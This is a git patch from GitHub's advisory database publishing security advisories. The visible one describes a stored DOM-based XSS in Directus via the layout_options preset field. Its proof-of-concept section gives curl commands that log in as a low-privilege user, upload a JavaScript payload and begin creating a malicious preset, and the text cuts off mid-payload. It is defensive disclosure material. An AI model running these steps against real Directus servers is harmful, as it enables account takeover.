From 7e9354f13a97984ef06acc7a329a3a186fc1b1ac Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Thu, 23 Jan 2025 22:37:15 +0000 Subject: [PATCH] Publish Advisories GHSA-9qrm-48qf-r2rw GHSA-pmf4-v838-29hg --- .../GHSA-9qrm-48qf-r2rw.json | 53 +++++++++++++ .../GHSA-pmf4-v838-29hg.json | 77 +++++++++++++++++++ 2 files changed, 130 insertions(+) create mode 100644 advisories/github-reviewed/2025/01/GHSA-9qrm-48qf-r2rw/GHSA-9qrm-48qf-r2rw.json create mode 100644 advisories/github-reviewed/2025/01/GHSA-pmf4-v838-29hg/GHSA-pmf4-v838-29hg.json diff --git a/advisories/github-reviewed/2025/01/GHSA-9qrm-48qf-r2rw/GHSA-9qrm-48qf-r2rw.json b/advisories/github-reviewed/2025/01/GHSA-9qrm-48qf-r2rw/GHSA-9qrm-48qf-r2rw.json new file mode 100644 index 00000000000..f3cbfa069a9 --- /dev/null +++ b/advisories/github-reviewed/2025/01/GHSA-9qrm-48qf-r2rw/GHSA-9qrm-48qf-r2rw.json @@ -0,0 +1,53 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-9qrm-48qf-r2rw", + "modified": "2025-01-23T22:36:50Z", + "published": "2025-01-23T22:36:50Z", + "aliases": [], + "summary": "Directus has a DOM-Based cross-site scripting (XSS) via layout_options", + "details": "### Impact\nDirectus allows an authenticated attacker to save cross site scripting code to the database. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with [CVE-2024-6534](https://github.com/directus/directus/security/advisories/GHSA-3fff-gqw3-vj86), it could result in account takeover.\n\n### PoC\nTo exploit this vulnerability, we need to do the following steps using a non-administrative, default role attacker account.\n\n1. Upload the following JavaScript file.\n\nUsing the upload functionality at `POST /files`. This PoC will show an alert message.\n\n```js\nexport TARGET_HOST=\"http://localhost:8055\"\nexport ATTACKER_EMAIL=\"malicious@malicious.com\"\nexport ATTACKER_PASSWORD=\"123456\"\nroot_dir=$(dirname $0)\nmkdir \"${root_dir}/static\"\n\ncurl -s -k -o /dev/null -w \"%{http_code}\" -X 'POST' \"${TARGET_HOST}/auth/login\" \\\n -c \"${root_dir}/static/attacker_directus_session_token\" \\\n -H 'Content-Type: application/json' \\\n -d \"{\\\"email\\\":\\\"${ATTACKER_EMAIL}\\\",\\\"password\\\":\\\"${ATTACKER_PASSWORD}\\\",\\\"mode\\\":\\\"session\\\"}\"\n\nid_url_file=$(echo \"alert('Successful DOM-based XSS')\" |\n curl -s -k -X 'POST' \"${TARGET_HOST}/files\" \\\n -b \"${root_dir}/static/attacker_directus_session_token\" \\\n -F \"file=@-;type=application/x-javascript;filename=poc.js\" | jq -r \".data.id\")\n```\n\n2. Create a preset for a collection and store the preset ID.\n\nOr use a preset already created from GET /presets. The following example uses the direct_users preset.\n\n```\nattacker_user_id=$(curl -s -k \"${TARGET_HOST}/users/me\" \\ -b \"${root_dir}/static/attacker_directus_session_token\" | jq -r \".data.id\") curl -i -s -k -X 'POST' \"${TARGET_HOST}/presets\" \\ -H 'Content-Type: application/json' \\ -b \"${root_dir}/static/attacker_directus_session_token\" \\ --data-binary \"{\\\"layout\\\":\\\"cards\\\",\\\"bookmark\\\":null,\\\"role\\\":null,\\\"user\\\":\\\"${attacker_user_id}\\\",\\\"search\\\":null,\\\"filter\\\":null,\\\"layout_query\\\":{\\\"cards\\\":{\\\"sort\\\":[\\\"email\\\"]}},\\\"layout_options\\\":{\\\"cards\\\":{\\\"icon\\\":\\\"account_circle\\\",\\\"title\\\":\\\"